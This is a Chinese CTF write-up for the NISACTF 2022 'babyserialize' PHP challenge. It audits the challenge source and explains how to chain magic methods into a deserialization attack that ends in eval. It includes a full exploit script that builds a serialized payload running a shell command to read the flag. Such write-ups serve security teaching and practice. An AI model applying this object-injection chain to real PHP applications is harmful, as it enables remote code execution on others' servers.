当前位置: 首页 > news >正文

pop链构造 [NISACTF 2022]babyserialize

打开题目

题目源代码如下

<?php
include "waf.php";
class NISA{public $fun="show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER";private $fun='abc';public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}if(isset($_GET['ser'])){@unserialize($_GET['ser']);
}else{highlight_file(__FILE__);
}//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}//function hint(){
//    echo ".......";
//    die();
//}
?>

代码审计一下

include "waf.php";
class NISA{                //定义了一个名为 NISA 的类
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){  //检查 $this->fun 是否等于 "show_me_flag",如果是,则调用 hint() 函数
            hint();
        }
    }

    function __call($from,$val){   //当对象的方法不存在时,__call() 方法会被调用,它接受两个参数:$from 表示调用的方法名,$val 是一个数组,包含调用方法时传递的参数
        $this->fun=$val[0];        //将对象的属性 $this->fun 设置为传递给方法的第一个参数的值,即 $val[0]
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";                //使用 echo 语句输出对象的属性 $this->fun 的值,然后返回一个空格字符串。
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);   //调用了一个名为 checkcheck() 的函数,然后执行了 $this->txw4ever 的代码
        @eval($this->txw4ever);
    }

class TianXiWei{
    public $ext;
    public $x; //
定义了一个名为 TianXiWei 的类,其中包含两个属性 $ext$x
    public function __wakeup()//
这是一个 PHP 魔术方法,当对象被反序列化时会自动调用。
    {
        $this->ext->nisa($this->x);  //
调用 $ext 对象的 nisa() 方法,并将当前对象的属性 $x 作为参数传递给 nisa() 方法。
    }
}

class Ilovetxw{
    public $huang;
    public $su;  //
定义了一个名为 Ilovetxw 的类,其中包含两个属性 $huang$su

    public function __call($fun1,$arg){   //
PHP 魔术方法,当调用不存在的方法时会自动触发。它接受两个参数:调用的方法名 $fun1 和传递给该方法的参数 $arg
        $this->huang->fun=$arg[0]; //
将传递给方法的第一个参数($arg[0])赋值给 $this->huang->fun
    }

    public function __toString(){   //
PHP 魔术方法,用于将对象转换为字符串时自动调用
        $bb = $this->su;
        return $bb(); //
将 $this->su 赋值给变量 $bb,它尝试执行 $bb(),即调用 $bb 所指向的函数或方法
    }
}

class four{
    public $a="TXW4EVER"; //
定义了一个公共属性 $a,并赋值为字符串 "TXW4EVER"
    private $fun='abc'; //定义了一个私有属性 $fun,并赋值为字符串 'abc'

    public function __set($name, $value) //魔术方法,用于在尝试设置不可访问属性时自动调用。
    {
        $this->$name=$value;  //
将属性 $name 的值设置为 $value,即动态创建了一个属性
        if ($this->fun = "sixsixsix"){  //这个条件语句中使用了赋值操作 =,它会将属性 $this->fun 的值设置为字符串 "sixsixsix",并且 if 条件会始终为真,因为赋值操作的结果是被赋的值本身
            strtolower($this->a);  //在条件语句中执行了 strtolower($this->a),但没有将结果赋给任何变量或属性
        }
    }

if(isset($_GET['ser'])){   //检查是否存在名为 ser 的 GET 参数
    @unserialize($_GET['ser']);  //$_GET['ser'] 的值进行反序列化操作 @unserialize($_GET['ser']),使用了 @ 符号来抑制可能的错误信息输出
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){  //checkcheck函数接收一个参数$data
//  if(preg_match(......)){ //
有一个 preg_match 函数,但是正则表达式部分被省略了
//      die(something wrong);   //如果 preg_match 函数匹配成功,即 $data 符合某个模式,那么会执行 die(something wrong); 来终止脚本执行,并输出 "something wrong"
//  }
//}

//function hint(){  //hint函数这里没有设置参数
//    echo ".......";    //
输出了一些占位符信息
//    die();   //调用了 die() 终止脚本的执行
//}
?>

解题思路

这里我是一点思路都没有,可能也是平时接触到的这类型题很少,全靠大佬的wp

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,肯定是代码执行,而eval又在__invoke魔术方法中

 先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数

反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

(3)__toString反推到__set

(4)从__set反推到__call

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

大佬的exp

<?phpclass NISA{public $fun="show_me_flag";public $txw4ever; // 1 shellpublic function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext; //5 Ilovetxwpublic $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang; //4 fourpublic $su; //2 NISApublic function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER"; //3 Ilovetxwprivate $fun='sixsixsix'; //fun = "sixsixsixpublic function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

生成payload

得到flag

知识点:

_wakeup()魔术方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法

_call()魔术方法

当对象的方法不存在时,__call() 方法会被调用

也就是无法访问此方法(未定义),此方法被__call()重载,并显示方法名和参数;

_toString()魔术方法

使用 echo 语句输出一个对象时,会自动检查一个对象有没有定义 _toString() 方法,如果定义了,就会输出 __toString() 方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串

也就是说,如果要将一个对象转换为字符串,必须定义 __toString() 魔术方法

_invoke()魔术方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

具体使用方法见:PHP 魔术方法 - __invoke() - PHP 魔术方法 - 简单教程,简单编程

_set()魔术方法

用于设置私有属性值,有两个参数,第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值

具体使用方法见:php 中__set()和__get()的具体用法_php __set-CSDN博客

strtolower()函数

strtolower函数把字符串全部转换为小写。

isset()函数

确定变量值是否存在

参考文章:

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

关于[NISACTF 2022]babyserialize详解_web_babyserialize-CSDN博客

相关文章:

pop链构造 [NISACTF 2022]babyserialize

打开题目 题目源代码如下 <?php include "waf.php"; class NISA{public $fun"show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun"show_me_flag"){hint();}}function __call($from,$val){$this->fun$val[0];…...

【VIP专属】Python应用案例——基于Keras, OpenCV和MobileNet口罩佩戴识别

目录 1、导入所需库 2、加载人脸口罩检测数据集 3、对标签进行独热编码...

Doris——荔枝微课统一实时数仓建设实践

目录 一、业务介绍 二、早期架构及痛点 2.1 早期架构 2.2 架构痛点 三、技术选型 四、新的架构及方案 五、搭建经验 5.1 数据建模 5.2 数据开发 5.3 库表设计 5.4 数据管理 5.4.1 监控告警 5.4.2 数据备份与恢复 六、收益总结 七、未来规划 原文大佬这篇Doris腾…...

Stable Diffusion 绘画入门教程(webui)-ControlNet(Inpaint)

上篇文章介绍了语义分割Tile/Blur&#xff0c;这篇文章介绍下Inpaint&#xff08;重绘&#xff09; Inpaint类似于图生图的局部重绘&#xff0c;但是Inpain效果要更好一点&#xff0c;和原图融合会更加融洽&#xff0c;下面是案例&#xff0c;可以看下效果&#xff08;左侧原图…...

LeetCode146: LRU缓存

题目描述 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类&#xff1a; LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓存 int get(int key) 如果关键字 key 存在于缓存中&#xff0c;则返回关键字的值&#xff0c;否则…...

【ArcGIS】基于DEM/LUCC等数据统计得到各集水区流域特征

基于DEM/LUCC等数据统计得到各集水区流域特征 提取不同集水区各类土地利用类型比例步骤1&#xff1a;划分集水区为独立面单元步骤2&#xff1a;批量掩膜提取得到各集水区土地利用类型比例步骤3&#xff1a;导入各集水区LUCC数据并统计得到各类型占比 提取坡度特征流域面坡度河道…...

vue3中安装并使用CSS预处理器Sass的方法介绍

文章目录 Sass是什么&#xff1f;为什么使用Sass?安装sass1、安装sass2、编写全局css变量/全局mixin3、vite引入并使用4、按需引入并使用 sass语法1、变量创建一个变量使用变量变量作用域 2、数学计算两个Sass有关于数学计算的“陷阱” 3、嵌套4、Imports sass中文官网 Sass是…...

过滤器(Filter)

过滤器&#xff08;Filter&#xff09; 1. 基本概念 过滤器&#xff08;Filter&#xff09;是拦截 Request 请求的对象&#xff1a;在用户的请求访问资源前处理 ServletRequest 和 ServletResponse 。 Filter 相关的接口有&#xff1a;Filter、FilterConfig、FilterChain 。…...

AMRT3D数字孪生引擎详解

AMRT 3D数字孪生引擎介绍 AMRT3D引擎是一款融合了眸瑞科技的AMRT格式与轻量化处理技术为基础&#xff0c;以降本增效为目标&#xff0c;支持多端发布的一站式纯国产自研的CS架构项目开发引擎。 引擎包括场景搭建、UI拼搭、零代码交互事件、光影特效组件、GIS/BIM组件、实时数据…...

Sqlite数据库详解

1.关于Sqlite SQLite 是一个进程内库&#xff0c;它实现了一个独立的、无服务器的、零配置的事务性 SQL 数据库引擎。 SQLite的代码属于公共领域&#xff0c;因此对 用于任何目的&#xff0c;商业或私人目的。 SQLite是世界上部署最广泛的数据库 应用程序比我们能做的要多 计数…...

基于YOLOv8深度学习+Pyqt5的电动车头盔佩戴检测系统

wx供重浩&#xff1a;创享日记 对话框发送&#xff1a;225头盔 获取完整源码源文件已标注的数据集&#xff08;1463张&#xff09;源码各文件说明配置跑通说明文档 若需要一对一远程操作在你电脑跑通&#xff0c;有偿59yuan 效果展示 基于YOLOv8深度学习PyQT5的电动车头盔佩戴检…...

【数据结构】B树,B+树,B*树

文章目录 一、B树1.B树的定义2.B树的插入3.B树的中序遍历 二、B树和B*树1.B树的定义2.B树的插入3.B*树的定义4.B树系列总结 三、B树与B树的应用 一、B树 1.B树的定义 1. 在内存中搜索效率高的数据结构有AVL树&#xff0c;红黑树&#xff0c;哈希表等&#xff0c;但这是在内存…...

常用实验室器皿耐硝酸盐酸进口PFA材质容量瓶螺纹盖密封效果好

PFA容量瓶规格参考&#xff1a;10ml、25ml、50ml、100ml、250ml、500ml、1000ml。 别名可溶性聚四氟乙烯容量瓶、特氟龙容量瓶。常用于ICP-MS、ICP-OES等痕量分析以及同位素分析等实验&#xff0c;也可在地质、电子化学品、半导体分析测试、疾控中心、制药厂、环境检测中心等机…...

【kubernetes】二进制部署k8s集群之cni网络插件flannel和calico工作原理

k8s集群的三种接口 k8s集群有三大接口&#xff1a; CRI&#xff1a;容器进行时接口&#xff0c;连接容器引擎--docker、containerd、cri-o、podman CNI&#xff1a;容器网络接口&#xff0c;用于连接网络插件如&#xff1a;flannel、calico、cilium CSI&#xff1a;容器存储…...

Pycharm一直打不开,无任何报错

我windows安装了pycharm一直打不开(无论专业版还是社区版都打不开)&#xff0c;无任何弹窗&#xff0c;无任何报错 最后解决问题&#xff1a; 查看环境变量PYCHARM_VM_OPTIONS 发现有一个环境变量PYCHARM_VM_OPTIONS 删除PYCHARM_VM_OPTIONS这个环境变量&#xff0c;pycharm终…...

用html编写的小广告板

用html编写的小广告板 相关代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</tit…...

hive中如何取交集并集和差集

交集 要获取两个表的交集&#xff0c;你可以使用INNER JOIN或者JOIN&#xff1a; SELECT * FROM table1 JOIN table2 ON table1.column_name table2.column_name;也可以使用 INTERSECT 关键字 SELECT * FROM table1 INTERSECT SELECT * FROM table2;并集 要获取两个表的并集…...

2024.2.26

今天又复习了一下熟悉的C语言 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<string.h> #include<windows.h>int main() {//数组初始化int n;scanf("%d", &n);int array[500];int i 0;for (i 0; i < n; i){scanf("%…...

【kubernetes】关于k8s集群的声明式管理资源

目录 一、声明式管理方法 二、资源配置清单管理 1、导出资源配置清单 2、修改资源配置清单并应用 2.1离线修改 2.2在线修改 三、通过资源配置清单创建资源对象 获取K8S资源配置清单文件模板&#xff1f; 关于配置清单常见的字段 方案一&#xff1a;手写yaml配置文件 …...

8.openEuler操作系统网络管理和防火墙(二)

openEuler OECA认证辅导,标红的文字为学习重点和考点。 如果需要做实验,建议安装麒麟信安、银河麒麟、统信等具有图形化的操作系统,其安装与openeuler基本一致。 3.通过IP命令配置网络 配置IP地址: 使用ip命令为接口配置地址,命令格式如下,其中 interface-name 为网卡名…...

React Native 开发环境搭建(全平台详解)

React Native 开发环境搭建&#xff08;全平台详解&#xff09; 在开始使用 React Native 开发移动应用之前&#xff0c;正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南&#xff0c;涵盖 macOS 和 Windows 平台的配置步骤&#xff0c;如何在 Android 和 iOS…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别

UnsatisfiedLinkError 在对接硬件设备中&#xff0c;我们会遇到使用 java 调用 dll文件 的情况&#xff0c;此时大概率出现UnsatisfiedLinkError链接错误&#xff0c;原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用&#xff0c;结果 dll 未实现 JNI 协…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

ios苹果系统,js 滑动屏幕、锚定无效

现象&#xff1a;window.addEventListener监听touch无效&#xff0c;划不动屏幕&#xff0c;但是代码逻辑都有执行到。 scrollIntoView也无效。 原因&#xff1a;这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作&#xff0c;从而会影响…...

【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制

使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下&#xff0c;限制某个 IP 的访问频率是非常重要的&#xff0c;可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案&#xff0c;使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...

解读《网络安全法》最新修订,把握网络安全新趋势

《网络安全法》自2017年施行以来&#xff0c;在维护网络空间安全方面发挥了重要作用。但随着网络环境的日益复杂&#xff0c;网络攻击、数据泄露等事件频发&#xff0c;现行法律已难以完全适应新的风险挑战。 2025年3月28日&#xff0c;国家网信办会同相关部门起草了《网络安全…...

AxureRP-Pro-Beta-Setup_114413.exe (6.0.0.2887)

Name&#xff1a;3ddown Serial&#xff1a;FiCGEezgdGoYILo8U/2MFyCWj0jZoJc/sziRRj2/ENvtEq7w1RH97k5MWctqVHA 注册用户名&#xff1a;Axure 序列号&#xff1a;8t3Yk/zu4cX601/seX6wBZgYRVj/lkC2PICCdO4sFKCCLx8mcCnccoylVb40lP...

土建施工员考试:建筑施工技术重点知识有哪些?

《管理实务》是土建施工员考试中侧重实操应用与管理能力的科目&#xff0c;核心考查施工组织、质量安全、进度成本等现场管理要点。以下是结合考试大纲与高频考点整理的重点内容&#xff0c;附学习方向和应试技巧&#xff1a; 一、施工组织与进度管理 核心目标&#xff1a; 规…...

大数据治理的常见方式

大数据治理的常见方式 大数据治理是确保数据质量、安全性和可用性的系统性方法&#xff0c;以下是几种常见的治理方式&#xff1a; 1. 数据质量管理 核心方法&#xff1a; 数据校验&#xff1a;建立数据校验规则&#xff08;格式、范围、一致性等&#xff09;数据清洗&…...